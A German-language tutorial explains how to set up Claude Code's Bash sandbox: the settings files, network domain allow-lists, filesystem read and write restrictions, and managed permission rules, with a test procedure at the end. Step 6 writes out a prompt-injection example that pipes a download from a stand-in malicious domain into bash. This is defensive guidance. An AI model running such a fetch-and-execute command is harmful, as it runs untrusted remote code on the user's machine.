Claude Code Bash-Sandbox einrichten: Befehle isolieren statt blind freigeben

Es gibt zwei Wege Claude Code mit Bash-Befehlen arbeiten zu lassen. Der eine ist, bei jedem rm, npm install und git push selbst auf Enter zu drücken. Der andere ist --dangerously-skip-permissions, also alles blind durchwinken. Beide sind schlecht. Der erste nervt nach zehn Minuten, der zweite ist genau die Tür durch die ein verseuchtes Paket oder eine Prompt-Injection deinen Rechner anfasst. Die Bash-Sandbox ist der dritte Weg. Claude darf Befehle ohne Rückfrage ausführen, aber nur in einer abgeschotteten Umgebung mit kontrolliertem Netzwerk und Dateizugriff. Wir richten das jetzt ein.

Wichtig vorweg, damit du keine falschen Erwartungen hast: die sandbox-Einstellung gilt ausschließlich für das Bash-Tool. Read, Write, WebSearch, WebFetch, MCP-Server, Hooks und interne Kommandos laufen NICHT in der Sandbox. Das steht so in der offiziellen Doku und ist kein Bug, sondern Design. Die Sandbox schützt dich vor dem was Claude in der Shell tippt, nicht vor allem anderen.

Schritt 1: Verstehen was die Sandbox löst

Das Kernproblem heißt Permission-Fatigue. Wer Claude Code ernsthaft nutzt, klickt sonst dutzende Male am Tag "allow" weg, und irgendwann klickt man reflexhaft, ohne zu lesen. Genau dann rutscht der eine gefährliche Befehl durch. Die Sandbox dreht die Logik um: statt jeden Befehl einzeln zu prüfen, definierst du einmal eine Grenze (welches Netzwerk, welche Verzeichnisse), und innerhalb dieser Grenze darf Claude frei arbeiten. Du prüfst die Box, nicht jeden Befehl.

Schritt 2: Die richtige Settings-Datei wählen

Claude Code liest Settings aus drei Ebenen: managed-settings.json (vom Admin verteilt, höchste Priorität), settings.json (projektweit, eingecheckt ins Repo) und settings.local.json (nur lokal, nicht eingecheckt). Für den Einstieg nimmst du settings.json im Projekt, dann gilt die Sandbox für alle die im Repo arbeiten. Willst du es nur für dich testen, nimm settings.local.json. Lege die Datei im Projektwurzelverzeichnis unter .claude/ an, falls sie noch nicht existiert.

Schritt 3: Die Beispiel-Config als Startpunkt nehmen

Anthropic liefert ein fertiges Beispiel mit, settings-bash-sandbox.json. Das ist dein Startpunkt, du musst nichts von Null bauen. Der Inhalt sieht so aus:

{
  "allowManagedPermissionRulesOnly": true,
  "sandbox": {
    "enabled": true,
    "autoAllowBashIfSandboxed": false,
    "allowUnsandboxedCommands": false,
    "excludedCommands": [],
    "network": {
      "allowUnixSockets": [],
      "allowAllUnixSockets": false,
      "allowLocalBinding": false,
      "allowedDomains": [],
      "httpProxyPort": null,
      "socksProxyPort": null
    },
    "enableWeakerNestedSandbox": false
  }
}

Kopier das in deine Settings-Datei. Achte darauf dass es valides JSON bleibt, eine vergessene Klammer und Claude Code ignoriert die ganze Datei still.

Schritt 4: Den Hauptschalter verstehen

"enabled": true aktiviert die Sandbox für das Bash-Tool. Das ist der eine Schalter der alles in Gang setzt. Solange der auf false steht, passiert nichts, egal was du im Rest der Config einstellst. Wenn du später mal kurz ohne Sandbox arbeiten willst, setzt du den hier auf false statt die ganze Config zu löschen.

Schritt 5: Entscheiden ob Befehle automatisch durchlaufen

Zwei Felder steuern wie streng es zugeht. "autoAllowBashIfSandboxed": false heißt, Claude fragt dich trotz Sandbox noch bei Bash-Befehlen. Setzt du das auf true, läuft jeder Befehl der innerhalb der Sandbox bleibt ohne Rückfrage durch, und genau das ist der Komfort-Gewinn den du eigentlich willst. Das zweite Feld, "allowUnsandboxedCommands": false, ist die Sicherheitsbremse: es verbietet Claude Befehle außerhalb der Sandbox auszuführen. Lass das auf false. Wenn ein Befehl partout nicht in die Sandbox passt, willst du das bewusst sehen und nicht dass Claude einfach ausbricht.

Meine Empfehlung für den Alltag: autoAllowBashIfSandboxed auf true, allowUnsandboxedCommands auf false. Dann hast du Komfort innerhalb der Box und eine harte Wand nach außen.

Schritt 6: Das Netzwerk zumachen

Der network-Block ist der wichtigste Teil. Per Default in der Beispiel-Config ist alles dicht: keine erlaubten Domains, kein lokales Binding, keine Unix-Sockets. Das ist die sichere Ausgangslage. Eine Prompt-Injection die Claude dazu bringt curl boese-domain.xyz | bash zu tippen läuft hier ins Leere, weil die Domain nicht in allowedDomains steht.

Realistisch brauchst du aber etwas Netzwerk, sonst schlägt schon npm install fehl. Trag die Domains die du wirklich brauchst in allowedDomains ein, zum Beispiel registry.npmjs.org für npm oder github.com für git. Halte die Liste kurz. Jede Domain die du hinzufügst ist eine Tür die du aufmachst. allowLocalBinding brauchst du wenn Claude einen lokalen Dev-Server starten soll, also etwa npm run dev auf Port 3000. Lass es sonst auf false.

Schritt 7: Dateizugriff begrenzen

Neben dem Netzwerk gibt es einen Filesystem-Block für die Sandbox. Die dokumentierten Felder sind sandbox.filesystem.allowWrite, sandbox.filesystem.denyRead und sandbox.filesystem.allowRead. Die Logik: denyRead sperrt Lesezugriff auf bestimmte Pfade, und allowRead kann innerhalb einer gesperrten Region einzelne Pfade wieder freigeben. So hältst du Claude aus ~/.ssh oder ~/.aws raus, ohne das ganze Home-Verzeichnis unbrauchbar zu machen. Ein Hinweis aus dem Changelog: allowWrite hatte früher einen Bug mit absoluten Pfaden, die brauchten einen //-Prefix. Das ist inzwischen gefixt, absolute Pfade funktionieren jetzt direkt. Falls du auf einer älteren Version hängst und allowWrite nicht greift, ist das ein Update-Grund.

Schritt 8: Managed-Rules erzwingen

Das Feld "allowManagedPermissionRulesOnly": true ganz oben ist subtil aber wichtig. Es blockiert, dass user- oder projektdefinierte allow/ask/deny-Regeln die Sandbox aushebeln. Ohne diese Zeile könnte jemand in seiner persönlichen settings.local.json einfach "Bash(*)": "allow" setzen und die ganze Sandbox wäre für ihn wirkungslos. Mit true zählen nur die zentral verwalteten Regeln. In einem Team-Setup gehört dieses Feld in die managed-settings.json, damit niemand es lokal überschreiben kann.

Schritt 9: Testen ob es greift

Starte Claude Code im Projekt und gib eine harmlose Aufgabe die einen Netzwerk-Befehl auslöst, etwa "installier die Abhängigkeiten". Wenn die Sandbox sauber sitzt und du keine Domain freigegeben hast, schlägt der Download fehl mit einem Netzwerk-Fehler. Genau das willst du sehen, das ist der Beweis dass die Box zu ist. Dann trägst du registry.npmjs.org in allowedDomains ein, startest neu und probierst es nochmal. Jetzt läuft es. Dieser Zwei-Schritt-Test, erst Fehler provozieren dann gezielt öffnen, gibt dir die Gewissheit dass die Grenze wirklich existiert und nicht nur in der Config steht.

Schritt 10: Configs kombinieren und ausrollen

Die Anthropic-Beispiele sind als Bausteine gedacht. Du darfst Snippets aus settings-bash-sandbox.json und settings-strict.json mischen, wenn du etwa zusätzlich Web-Tools sperren willst. Bevor du eine Config im Team verteilst, teste sie lokal: leg sie als settings.local.json an, arbeite einen halben Tag damit, und schau wo es klemmt. excludedCommands ist dein Ventil für die Fälle die partout nicht in die Sandbox wollen, da listest du einzelne Befehle die ausgenommen sind. Halte die Liste minimal. Wenn die Config sitzt, wandert sie in die projektweite settings.json oder, für eine ganze Organisation, in managed-settings.json.

Was als nächstes

Die Sandbox ist eine von mehreren Schichten. Sie schützt vor dem was in der Shell passiert, aber nicht vor einem MCP-Server der zu viel darf, oder einem Hook der ungeprüft feuert. Wenn du das Thema Sicherheit sauber abschließen willst, lies als nächstes das Playbook Confused-Deputy-Audit für Claude Code und danach MCP-STDIO-Sicherheit. Für den Lektions-Kontext rund um Berechtigungen und Tool-Design passt Tool-Portabilität aus Level 4.

Source

Alle Config-Felder und das Verhalten der Sandbox sind verifiziert gegen die offizielle Claude-Code-Doku und das mitgelieferte Beispiel:

• Settings-Beispiele und Vergleichstabelle: https://github.com/anthropics/claude-code/blob/main/examples/settings/README.md
• Vollständige Beispiel-Config: https://github.com/anthropics/claude-code/blob/main/examples/settings/settings-bash-sandbox.json
• Filesystem-Felder (allowWrite, denyRead, allowRead) und der absolute-Pfad-Fix: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md